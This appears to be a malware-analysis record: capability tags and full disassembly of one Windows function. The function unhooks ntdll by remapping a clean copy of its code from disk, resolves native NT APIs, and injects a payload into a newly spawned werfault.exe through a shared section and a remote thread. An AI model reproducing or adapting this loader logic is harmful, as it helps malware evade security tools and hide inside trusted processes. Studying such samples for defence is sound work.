Function at 0x1400019f0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xf0
mov rax, qword [0x140006040]
xor rax, rsp
mov qword [rbp + 0x2f], rax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov r12, rax
test rax, rax
jne 0x140001a52
lea ecx, [rax + 1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xorps xmm0, xmm0
xor ecx, ecx
movups xmmword [rbp - 0x31], xmm0
mov qword [rbp - 0x21], rcx
lea r9d, [rcx + 0x18]
lea r8, [rbp - 0x31]
mov rdx, r12
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_K32GetModuleInformation]
mov r15, qword [rbp - 0x31]
xor esi, esi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x80000000
lea r8d, [rsi + 1]
lea rcx, str.C:windows_system32_ntdll.dll
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rbp - 0x69], rax
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor edx, edx
mov r8d, 0x1000002
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov qword [rbp - 0x61], rax
mov qword [rsp + 0x20], rsi
xor r9d, r9d
xor r8d, r8d
lea edx, [rsi + 4]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov r13, rax
movsxd rdi, dword [r15 + 0x3c]
add rdi, r15
mov r14d, esi
cmp si, word [rdi + 6]
jae 0x140001b8a
lea rdx, str..text
movzx ebx, word [rdi + 0x14]
add rbx, rsi
add rbx, rdi
xor eax, eax
nop
movzx ecx, byte [rbx + rax + 0x18]
inc rax
cmp cl, byte [rdx + rax - 1]
jne 0x140001b74
cmp rax, 6
jne 0x140001b10
mov dword [rbp - 0x19], 0
mov edx, dword [rbx + 0x20]
mov ecx, dword [rbx + 0x24]
add rcx, r15
lea r9, [rbp - 0x19]
lea r8d, [rax + 0x3a]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [rbx + 0x24]
mov r8d, dword [rbx + 0x20]
lea rdx, [rax + r13]
lea rcx, [rax + r15]
call sub.VCRUNTIME140.dll_memcpy
mov edx, dword [rbx + 0x20]
mov ecx, dword [rbx + 0x24]
add rcx, r15
lea r9, [rbp - 0x19]
mov r8d, dword [rbp - 0x19]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rdx, str..text
inc r14d
add rsi, 0x28
movzx eax, word [rdi + 6]
cmp r14d, eax
jl 0x140001b03
xor esi, esi
mov rcx, qword [rbp - 0x69]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x61]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str.NtCreateSection
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140006788], rax
lea rdx, str.NtMapViewOfSection
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140006740], rax
lea rdx, str.NtUnmapViewOfSection
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140006758], rax
lea rdx, str.NtWriteVirtualMemory
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140006760], rax
lea rdx, str.RtlInitUnicodeString
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140006780], rax
lea rdx, str.RtlCreateProcessParameters
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140006768], rax
lea rdx, str.RtlCreateUserProcess
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140006748], rax
lea rdx, str.RtlCreateUserThread
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140006770], rax
lea rdx, str.NtWaitForSingleObject
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140006750], rax
lea rdx, str.NtClose
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140006778], rax
lea rcx, [rbp + 0xf]
call fcn.140001f80
nop
mov rax, qword [rbp + 0x1f]
mov qword [rbp - 0x11], rax
mov dword [rbp - 9], eax
xor eax, eax
mov dword [rbp - 5], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rdi, rax
mov qword [rbp - 0x59], rsi
mov qword [rbp - 0x41], rsi
mov qword [rbp - 0x49], rsi
mov qword [rbp - 0x39], rsi
xorps xmm0, xmm0
movups xmmword [rbp - 1], xmm0
mov qword [rbp - 0x51], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0x40
lea r9, [rbp - 9]
xor r8d, r8d
lea edx, [r8 + 0xe]
lea rcx, [rbp - 0x59]
call qword [0x140006788]
test eax, eax
js 0x140001f6b
mov dword [rsp + 0x48], 4
mov dword [rsp + 0x40], esi
mov dword [rsp + 0x38], 2
lea rax, [rbp - 0x11]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
xor r9d, r9d
lea r8, [rbp - 0x41]
mov rdx, rdi
mov rcx, qword [rbp - 0x59]
call qword [0x140006740]
test eax, eax
js 0x140001f6b
lea rdx, str.__C:WindowsSystem32werfault.exe
lea rcx, [rbp - 1]
call qword [0x140006780]
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp - 1]
lea rcx, [rbp - 0x39]
call qword [0x140006768]
test eax, eax
js 0x140001f6b
mov ecx, 8
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x38], rsi
mov byte [rsp + 0x30], 0
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rsi
xor r9d, r9d
mov r8, qword [rbp - 0x39]
xor edx, edx
lea rcx, [rbp - 1]
call qword [0x140006748]
test eax, eax
js 0x140001f6b
mov dword [rsp + 0x48], 0x20
mov dword [rsp + 0x40], esi
mov dword [rsp + 0x38], 2
lea rax, [rbp - 0x11]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
xor r9d, r9d
lea r8, [rbp - 0x49]
mov rdx, qword [rbx + 8]
mov rcx, qword [rbp - 0x59]
call qword [0x140006740]
test eax, eax
js 0x140001f6b
lea r8, [rbp + 0xf]
cmp qword [rbp + 0x27], 0xf
cmova r8, qword [rbp + 0xf]
mov qword [rsp + 0x20], rsi
mov r9d, dword [rbp - 0x11]
mov rdx, qword [rbp - 0x41]
mov rcx, rdi
call qword [0x140006760]
test eax, eax
js 0x140001f6b
mov qword [rsp + 0x48], rsi
lea rax, [rbp - 0x51]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov rax, qword [rbp - 0x49]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbx + 8]
call qword [0x140006770]
test eax, eax
js 0x140001f6b
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp - 0x51]
call qword [0x140006750]
test eax, eax
js 0x140001f6b
mov rcx, qword [rbp - 0x51]
call qword [0x140006778]
test eax, eax
js 0x140001f6b
mov rdx, qword [rbp - 0x49]
mov rcx, qword [rbx + 8]
call qword [0x140006758]
test eax, eax
js 0x140001f6b
mov rcx, qword [rbx + 8]
call qword [0x140006778]
test eax, eax
js 0x140001f6b
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rdx, qword [rbp - 0x41]
mov rcx, rdi
call qword [0x140006758]
test eax, eax
js 0x140001f6b
mov rcx, qword [rbp - 0x59]
call qword [0x140006778]
test eax, eax
js 0x140001f6b
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
nop
mov rdx, qword [rbp + 0x27]
cmp rdx, 0xf
jbe 0x140001f3c
inc rdx
mov rcx, qword [rbp + 0xf]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001f37
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001f37
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002968
xor eax, eax
mov rcx, qword [rbp + 0x2f]
xor rcx, rsp
call fcn.140002430
lea r11, [rsp + 0xf0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3